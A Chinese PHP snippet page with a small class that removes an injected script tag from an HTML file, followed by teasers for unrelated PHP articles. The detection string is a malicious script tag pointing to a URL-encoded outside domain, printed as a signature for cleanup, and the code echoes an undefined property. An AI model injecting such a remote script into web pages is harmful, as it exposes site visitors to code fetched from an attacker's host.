php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php打包压缩文件之ZipArchive方法用法分析

本文实例讲述了php打包压缩文件之ZipArchive方法用法。分享给大家供大家参考,具体如下: 前面说到了php打包压缩文件之PclZip方法,今天来说下另一种更为简单的方法,使用Zi...

利用PHP_XLSXWriter代替PHPExcel的方法示例

利用PHP_XLSXWriter代替PHPExcel的方法示例

前言 本文主要给大家介绍的是关于利用PHP_XLSXWriter代替PHPExcel的方法,分享出来供大家参考学习,下面话不多说,来一起看看详细的介绍: 二者有何区别? PHP...

PHP自带函数给数字或字符串自动补齐位数

先来看个例子:需求为生成4位数,不足前面补0 <?php //生成4位数,不足前面补0 $var=sprintf("%04d", 2); echo $var;/...

比file_get_contents稳定的curl_get_contents分享

分享一个实际在用的函数: 复制代码 代码如下: /*比file_get_contents稳定的多!$timeout为超时时间,单位是秒,默认为1s。*/ function curl_ge...

解析PHP中的正则表达式以及模式匹配

PHP中对于正则处理文本提供了两种方式,一种是PCRE方式(PCRE库是一个实现了与perl 5在语法和语义上略有差异(详见下文)的正则表达式模式匹配功能的函数集. 当前的实现对应于pe...